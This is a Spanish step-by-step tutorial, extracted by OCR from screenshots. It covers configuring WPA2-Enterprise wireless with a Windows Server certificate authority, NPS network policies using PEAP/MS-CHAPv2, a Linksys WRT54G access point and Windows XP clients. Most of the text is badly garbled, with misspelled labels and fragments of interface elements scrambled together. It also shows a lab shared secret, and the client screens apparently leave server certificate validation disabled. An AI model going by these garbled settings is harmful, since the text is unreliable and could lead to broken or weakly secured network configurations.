| Certificados ;) Inscripcion de certificados
| Entidades de certifi
| Confianza empresa
| Entidades de certifi
_| Editores de confian
*| Certificados en los
_| Entidades de certifi
| Personas de confial
*| Solictudes de inscri
_| Raices de confianze
| Dispositivos de con:
Entidad de certificacidn

=]

tiones adicionales

e e et e

La directiva de inscripddn de certificados permite |3 inscripddn de certificados en fundién de plantillas de certificados
predefinidas. Es posible que la directiva de inscripcion de certificados ya esté configurada,

Configurados por el administrador

Directory

lrrrEOREEEE

Configurados por el usuario Agregar nueva

B

Mas informacién acerca de las directivas de inscripcién de certificados

s

\ \
Le damos a siguiente.
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Propiedades:

[@ Archivo  Accién Ver Favoritos Ventsna  Ayuda

el =NNE RN 7T
| Raiz de consola Emitido para_~ [ Emibdo por [ Fecha de expir... | Proposi | iptivo
@ Plantillas de certificado (Wserver.JESTFC.org) - IWSERVER CA WSERVER-CA 30/12/2017 <Todos> <Ninguno:>
[l G Certificados (equipo local)
=1 [ Personal Acciones adidonales »
[ Certificados.
@1 [ Entidades de certificacién raiz de confianza
| Confianza empresarial
| Entidades de certificacén intermedias
| Editores de confianza
] Certificados en los que no se confia
@ || Entidades de certificacién raiz de terceros
| Personas de confianza
| solictudes de inscripcién de certificado
| Raices de confianza de tarjetas intsligentes
& 5} Entidad de certificacidn (Local) =
=lofxd| =
g General | Sujeto. Extensiones | clave privada | Entidad de certifcadsn | Firma
Las extensiones de este tipo de certificado son las siguientes,
Usa de a ciave @
Pusde soficitar los siguientes fipos de certificados. Seleccione los certificados que desea solictar ¥ después haga dic
2n Inscrbir. Uso mejorado de dlave (drectivas de apleadsn) @
[ certificado Usuarios Wi 1) ESTADO: Disponible Detalles @ Restricciones bisicas ®
Las optiones siguientes deseriben los sos y el periodo de vaiidez que se aplican a este tipo de certificado:
Uso de la dave: Firma digital
. Cifrado de dave Inchir algoritmo sméfrica &
Directivas de aplicaddn: Autenticacion del servidor y 5
e Los algoritmos simétricos propordanan informacisn sebre las capacidades de sistema de los
. ) certificados emitidos mediante esta plantila,
Perioda de validez (dias): 365
Pronidags ¥ Habiltar ests extensin
[ Contralador de dominia 1) ESTADO: Disponible Detalles® — _
Definicidn de extension personalizads ®
I Mostrar todas las plantilas
Obtener més informacin acerca de los certificados.
== —
Obtener més informacién acerca de extensiones de certficado
Acepter | concelr | Aphear |
|
% Certificados - [Raiz de consola' Certificados (equipo local)\Persanal\Certificados] |
[ Archiva  Accion  Ver Favorkos Yentana  Ayuda | _18] x|

e 2ElfLRD = H=
" Rafz de conscla
& Plantilss de certificado (WServer IESTFC.org) ISERVER

Certificaros (equipo local) TWSERVER-CA =
'ersonal

RYER-CA

C 013
FVER-CA

30/12/2017 <Todos>

<Ninguno:>

Acciones adicionales

=H |

. Certificadas

nkidades de certificacion raiz de confianza
onfianza empresarial

ntidades ds certificacion intatmedias

Acciones adicionales 13

nitidades de certificacion rakz de terceros
ersanas de confianza

| solicitudes de inscripien de certificadn
aices de confianza de tarjetas inteligentes
" Dispositivos de confianza

T Entidad de certificacién (Local)

Ya podemos cerrar la ventana.
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Volvemos a Administrar Servidor. Vamos en la parte izquierda a Servicios de acceso y directivas de

redes-NPS-Directivas-Directivas de red. Hacemos doble click en Conexiones inalambricas seguras:

B cuentas
My sdministracién de plantilas
E servicios de certficados de Active Directory
% Servicios de darinio de Active Drectory

Servidor DHCP
&+

Denegaracceso  Unspeciiied

Candiciones. Si se cumplen ias siquientes condicionss:

Condicién [ Valor

Corfiguracién. Se aplica la

Tipo de puerto de NAS  Wireless - Other O Wireless - IEEE 302.11
Grupos de Windows  IESTFC\vadg

Corfi

[ Valor

Método de auterticacién

Pemiso de acceso

Actuslizar dlertes no compatbles
Cumpiimierto NAP
Framed-Protacol

Senvice-Type

Método de protocolo de

EAP O MS-CHAP v1 0 MS-CHAF v1 (gl usuario puede cambiar la contraseria despus de.
Concederacceso

Verdadero

Pemitir acceso completo alared

Framed

Ormiti propiedadss de marcado de usuarios Verdzdero

Fropiedades

Microsct: EAP protegido (PEAP)

=8l
P e T \
] |
=5 Administrador del servidor (WSERVER)
B 3 Roles "
= gvmns de acceso y drractivas de redes conectarse a la redy las circunstancias en las que se pueds onose
=1 @ NPS (Local) Nueve
7| Clientes y servidores RADILS Exportar fsta
Directivas
Directivas de solicitud de conexidn i B Ver »
D
s Connections to Microsoft Routing and Remate Access sever  Habiltada Denegar acceso  Unspeciiied Actualzar
Directvas d mantenimients <]
9, Proteceiin de accaso aredes i Connections to other access severs Habiltada 1000000

H svuda

Conexiones malambi

Bajar
Servidor DNS
il Caracteristicas Deshebilitar
5l 3 Disgnéstice -
o
{55 Amacznamienta

Cambiar nombre
Duplicar directiva

Propiedades

H avuda

En la pestafa Restricciones:

1| x|
o ] |
& v e
E1 5 Roles
£ 3~ servicos de acceso y directvas de redes * Las directivas de red pemiten designar quisn tiens autenzacién para conectarse a lared y las crounstancias en las que se pusde o no se.
E € s (Local) Dlede conectar. Huevo
Clientes v servidores RADIS Exportar lista
Directivas.
A RPININPRRIN oo ic dodlcs de Conexiones inalambricas seguras T v
= DyFaaedcied Infomacién general | Condiciones  Restricciones | Corfiguraci | Actualzar
= Directvas de mantenimiento
B Proteccion de acceso a redes Configure fas restricciones de esta directiva de red. Ayuda
B Cuentas Sila sofictud de conexddn no coincid con todas las resticiones, se deniega ol acoeso 2 lared

8 Administracién de plantilas
B servicios de certificados de Active Directory

Servicios de domiio de Active Directory
Servidor DHCP
£ senvidorDiis

1 ] Caracteristicas 18 Tiempo de espers de
1 3w Diagndstico inactividad

] g Configuradtn < Tiempo de espera de
1 (55 Amacenamiento sesién

[ Identificador de estacion
llamada

5 Restricciones de dia y hors

= Tipode puerto de NAS

Pemitc acceso s6lo a los clintes que se atentiquen con los métodos especificados

Los tipos de EAP se negocian entre NPS el ciente en el orden en el que zparecen
enlaiste.

Tipos de EAP:

&t
Baifr
o |
Agregar. Edtar... Quitar

Métodos de auterticacién menos seguros:
[7 Autenticacion cfrada de Microsch versién 2 (MS-CHAP-v2)

¥ Bl usuario puede cambiar Ia contrasefia después de haber expirado
[V Autenticacion ofrada de Microsoft (MS-CHAP)

[¥ Blusuaric pusds cambiar |z contrasefia despuss de haber exprado
I Autenticacin cfiads (CHAP)

I Autenticacion sin cirado (PAP, SPAP)

I Pemitir 2 los clientes conectarse sin negociar un método de autenticacién
I Resiizar s6lo comprobacién de mantenmiento del equipo

Cancelar Aplicar

Framed-Protocol

PP
Senvice-Type Framed
Orir propiedades de marcado de usuarios Verdadero

Método de protocolo de autenticacion extensble  Mrosoft: EAP protegido (PEAP)

Bajar

Deshabiltar
Eliminar

Cambiar nombre
Duplicar directva
Propiedades

H Ay

Aceptamos, cerramos la ventana y ya tenemos configurado el servidor.
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Configuracion del Punto de Acceso
Abrimos un explorador, escribimos en la barra de direcciones la direccion IP del AP y cuando lo

solicite introducimos el usuario y la contrasefia:

Editar Wer Higtorisl Marcadores Herramientas  Ayuda

ectando.. m

192,168.1.200 v X

x

http:/f192.168. 1,200 estd solictando un nombre de usuario y una contrasefia. El sitio dice:
"WRT54G"

Mombre de usuario: I

Contrasefia: I

Aceptar Cancelar |

En “Basci Setup” ponemos:

LINKSYS by Cisco

Firmeare Version:
Wireless G Broadband Router WRT54G

: 5 Access Applications ES e
Wireless Security RS % Gaming Administration Status

ic Setup |

Select your language | English vI Automatic Configuration -
A DHEP : This =etting is most

common =d by Cable

Internet Setup operators.

Internet Connection Type |AL.rtomatic Configuration - DHCP j Host Name : Enter the host
name provided by your ISP,

Optional Settings )
(required by some ISP} Router Name: IAP Domain Hame : Enter the

domain name provided by your

Host Name: |AP

Domain Name: |

MTL: | Auto o |

Size: IJ.EQO Local IP Address : This is the
address of the router.

Network Setup Subnet Mask : This is the
subnet mask of the router.
Router IP Local IP Address: |1 |.1.6El .I:L .|200
E

52 .
Subnet Mask: IZSE._ZE-E._ESE._O l

DHCP Server:  Enable ' Disable

DHCP Server : Allows the
router to manage your [P
atdresses.

Network Address
Server Settings (DHCP)

Starting IP Address : The
address you would like to start

Nos vamos a la pestafa “Wireless”-“Basic Wireless Settings”:
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LINKSYS by Cisco

Firmware Varsion: w4215
Wireless-G Broadband Router WRTS4G
Wireless Access Applications S -
/i i = i Administration Status
Setup Wireless Security Restrictions & Gaming =

Basic Wireless Settings Y . |

Wireless Network Mode : If

Wireless Metwork Mode: | Mixed wl o de Wirsless-G
cl 0 Only Mode. If

Wireless Metwork Mame ITFCWLAN 7 ke to dizable
(ssDy:
\Wireless Channel: |E- -2437GHZ '7‘] Disable.
' More...
Wirgless 35ID Broadcast: & Enable (& Dizable

Status: SES Inactive

Heset Secunty |

HIe
CISCO.

Save Settings Cancel Changes

En la pestana “Wireless”-“Wireless Security”:

LINKSYS by Cisco

Firmiware
Wireless-G Broadband Router WRTE4G
WWEI ess Access Apaton . Administration Status

ph S Shoty Restrictions & Gaming

| Wireless Security |

Wireless Securi

Security Mode : You may

Security Mode: I WPAZ Enterprise -l choose from Dizable, WEF, WPRA
RADIUS,

Pre-Shared
WWPA Algorithms: AES - | or RADIUS. All de on your
network must use the same

RADIUS Server Address: |:|.92 F I:LGS : |1 F |150 iyt R e I
RADIUS Port: |1 812 :ql}g:n;l:l:m:ate.
Shared Key: |TFC123

Key Renewal Timeout: |38[}D seconds

e
CISCO.

Save Settings Cancel Changes

Por ultimo guardamos los cambios en “Save Settings” y ya tenemos el AP configurado.
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Configuracion de los Clientes

En conexiones de red de nuestro cliente haremos botdén derecho sobre la conexién inalambrica-

Propiedades. Luego nos iremos a la pestafia Redes inalambricas y le daremos a Agregar. En la

pestafia Asociacion pondremos:

S Conexonesdered

_=lojx|

Archive  Edidon  Ver Favoritos  Herramientas | Opcones avenzadas  Ayuda | .-?l\,l'
'J Abras T ‘\a) T :3: |/'¢j Busqueda ,= Carpetas |v

Direccion €, Conexiones de red ~| Edr
Bl - Fropiedades de Wireless N &4 || Propiedades de red inalimbrica i 2l x|

General Redes inalambricas | Opciones av_anzadas_l

¥ Usar Windows para establecer mi corfiguracisn de red inalémbrica

- Redes disporibles:

Haga clic en el siguiente botdn para conectarse o desconectarse de
redes inaldmbricas o para obtener mas informacién acerca de ellas.

Ver redes inalmbricas |

= Redes prefend,

Conectar automaticamente a redes disponibles en el orden siguiente:

A wireless (Manual)

R JAZZTEL AAAJ (Automatico)
] ram-24323 (Automético)

A WLAN_456D (Automético)

Agregar.. |

-

il

Quiter | Propiedades |

Sutir |
Bajar |

Obtener mas informacion acerca de cémo

Opciones avanzadas |
establecer una configuracion de red inalambrica, —

Asociacion | Autenticacion | Conexién |

INombre de red (SSID): ITFC‘N LAN
¥ Conectarse incluso sila red no estd dfundisndo
—Clave de red inalambn
Esta red requiere una clave para lo siguiente:
Auterticacion de red: WPA2 i
Ciirado de datos: [AES -
Elaye dered; I
Eortitmar calvede red: I
Irdice dela clave =
¥ L5 clave seme proporcions automaticaments:

™ Estaes una red de equipo & equipo (ad hoc). No se tilizan
puntos de acceso inalambrico

Aceptar | Cancelar |

Aceptar Cancelar |
Wiralacc 1'
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Luego en la pestafia Autenticacion:

I General Redes inaldmbricas |Opcion&5 a\ranzad'asl

¥ Usar Windows para establecer mi configuracin de red inaldmbrica

- Redes disponibles;

Haga clic en el siguients betdn para conectame o desconectarse de
redes inalémbricas o para obtener mas informacidn acerca de ellas.

mRedesp

Conectar sutomaticamente a redss disponibles en &l orden siguiente:
ﬂ Sl |
e |

| Propiedades |

A wisless (Manual)
R JAZZTEL AAAJ {Automdtico)
A ram-24323 {Automético)

A WLAN_456D [Automatica) ﬂ

Agregar... -Quitar

Obtener més informacidn acerca de cémo

Opciones avanzadas
establecer una configuracion de red inaldmbrica. =

Aceptar | Cancelarl

Archivo Edidgn  Ver Favoriios  Heramientss  Opdonesavanzadas  Ayoda | :,'-“

£ ,‘) Abras = <,\_‘) - I'_ﬁ: /'.\Eﬂsqueda “ Carpetas v_

Direccidn (& Conexiones de red - EYr
Bl - Propiedades de Wirsless B2 B3| Propiedades de red inalambrica i 2lxl

Bsocigmisn  Autenticacion |Cenexi5n|

CElECEnnE Esta Option para proporGionEn srcese autentcadn s
redes Ethemet inalambrizas.

[ | Hatiliter |5 atterticacidn IEEE 82,15 erfestared

Tipa d .
ap = |EAP protegido (PEAP) =

Propiedades
[~ Autenticar como equipo cuando a informacin de equipo esté
disponible

™ Autenticar como invitado cuanda &l usuario o la informacién de
equipo no estén disponibles

Wiralace

=

Aceptar

Cancelar |

Adaptador de red Broadcom 802.11n
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Le damos a Propiedades de PEAP:

_=ox]

Bl .- Fropiedades de Wireless _I Propiedades protegidas de EAP )

General Redss inalambricas | Opciones avar Al conectar;
~I™ validar un certificadn de servidor

¥ Usar Windows para establecer mi configu

™ Conectar a eetae servidares!

Entidsdes emisotas raiz de confisnza;

O AddTrust External CA Root

Ocai1

[0 certiposte Classe A Personne

D Certiposte Serveur

[ certisign - Autoridade Certificadora - A2

- Redes disponibles:
Haga clic en &l siguiente botdn para conecl
redes inaldmbricas o para obtener mas infor

i~ Redes prefendas;
Conectar automaticamente a redes disponit

i ﬁ;;ifdwmf’“ - = [ certisign - Autoridade Certificadora - AC4
X AAAS (Automdtico)  — | | P ¢ tigin Autoridade Certificadora ACIS =
L A ram-24323 {Automético) < {
] WLAN_458D {Automdtico) =
o B = [ e pedic & intervencian del usuario para autarizar nuewos
Agregar... Gt | Propisc seryidores o entidades emisaras de cerfificadas de

Obtener mas informacion acerca de como
establecer una corfiouracidn de red inalémb

Selecdone el método de autenticadon:

j Configurar... '

lConh’aseﬁa segura (EAP-MSCHAP v2)

I¥ Habilitar reconexidn rapida
™ Habilitar comprobaciones de cuarentena

Archive Edidon  Ver Fawortos  Herramientas  Opcdones avsnzadas  Ayuda | .-i‘l,"
[\_J Abras « | a T |j: |/".}Et'xsqueda :I Carpetas v
Direccion &, Conexiones de red | Edr

x|

formacién de equipo esté

2l

bi acoesd autenticado s

7 emestared
- I

Propiedades

tsuano o la informacion de

™ Desconectar si el servidor no presenta TLY con enface de dfrado

Aceptar | Cancelar |

Aceptar Cancelar |

=

Wiralacs

Adaptador de red Broadcom 802, 11n

Le damos a configurar Contrasefia segura:

=l x]

Bl .- Fropiedades de Wireless

¥ Usar Windows para establecer mi corfigu

- Redes disponibles:
Haga clic en el siguiente batdn para conec
redes inalambricas o para obtener mas infor

| Propiedades protegidas de EAP B
General | Redes Inaléwbi_‘ibﬁs. I B v Propiedades de EAP MSCHAPv2

#rchive  Ediddn  Ver Fawvontos  Herramientss | Opdones avenzadas — Ayuda | .-?l,"
[J Afras v o 3 - |j'r |'/'\.}Etisqueda |~ Carpetas |7
Direccion | €. Conexiones de red - Edr

Al conectar:

Usar automaticamente el nombre de inicio de
[~ ‘sesién y la contrasefia de Windows {y dominio, si
existe alguno).

o |

Cancelar |

~Redesp
Conectar automaticamente a redes disponit

A wireless {Manual) 1=

R JAZZTEL_AAAZ (Automatico) 1
L A ram-24323 {Automético)

A WLAN_456D (Automatica) ]

Agregar... | Quitar Propiec

[ certiposte Classe A Personne

D Certiposte Serveur

[ certisign - Autoridade Certificadora - AC2
[ certisign - Autoridade Certificadora - AC4
[ certisign Autoridade Certificadora AC 15

=
«| | »

I o pedir |ainteryencion del usuaro para autorizar mueyvos
seryidores o entid ades emisaras de cerfifitados de

Chbtener mas informacidn acerca de como
establecer una confiouracién de red inalsmb

i

Wiralass

Seleccione el método de autenticadan:

j Configurar... '

|Conh’aseﬁa sequra (EAP-MSCHAP w2}

IV Habilitar recanexion répids

™ Habilitar comprobaciones de cuarentena

™ Desconectar si el servidor o presenta TLY con enface de dfrado
Aceptar Cancelar

21|

bl accesd autenticados

e estared
- l
Propiedades
formacidn de equipo esté

bisuano o la informacion de

Aceptar Cancelar |

|adaptador de red Broadcom 802, 11n

A

Aceptamos todas las ventanas y ya tendremos el Cliente configurado.



